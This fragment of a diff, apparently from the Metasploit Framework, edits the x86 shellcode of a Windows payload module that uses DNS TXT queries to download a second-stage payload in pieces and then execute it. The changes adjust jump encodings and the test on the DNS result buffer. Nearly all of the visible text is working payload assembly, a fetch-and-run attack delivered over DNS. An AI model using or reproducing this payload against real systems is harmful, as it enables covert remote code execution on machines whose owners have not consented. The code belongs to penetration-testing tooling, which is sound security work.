+
+ true
+ end
+
+end
diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb
index e737b31c04..bb897820ad 100644
--- a/modules/payloads/singles/windows/dns_txt_query_exec.rb
+++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb
@@ -160,7 +160,7 @@ get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
- jmp next_mod ; Process this module
+ jmp.i8 next_mod ; Process this module
; actual routine
start:
@@ -195,7 +195,7 @@ load_dnsapi:
mov bl,0x61 ; first query, start with 'a'
dnsquery:
- jmp get_dnsname ; get dnsname
+ jmp.i8 get_dnsname ; get dnsname
get_dnsname_return:
pop eax ; get ptr to dnsname (lpstrName)
@@ -215,7 +215,7 @@ get_dnsname_return:
call ebp ;
test eax, eax ; query ok ?
jnz jump_to_payload ; no, jump to payload
- jmp get_query_result ; eax = 0 : a piece returned, fetch it
+ jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
get_dnsname:
@@ -225,9 +225,9 @@ get_dnsname:
get_query_result:
xchg #{bufferreg},edx ; save start of heap
pop #{bufferreg} ; heap structure containing DNS results
- mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop
- test eax,eax
- jnz prepare_payload ; jmp to payload
+ mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
+ cmp eax,1
+ jne prepare_payload ; jmp to payload
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
@@ -243,7 +243,7 @@ copy_piece_to_heap:
push edi ;
inc ebx ; increment sequence
xchg #{bufferreg},edx ; restore start of heap
- jmp dnsquery ; try to get the next piece, if any
+ jmp.i8 dnsquery ; try to get the next piece, if any
prepare_payload:
mov #{bufferreg},edx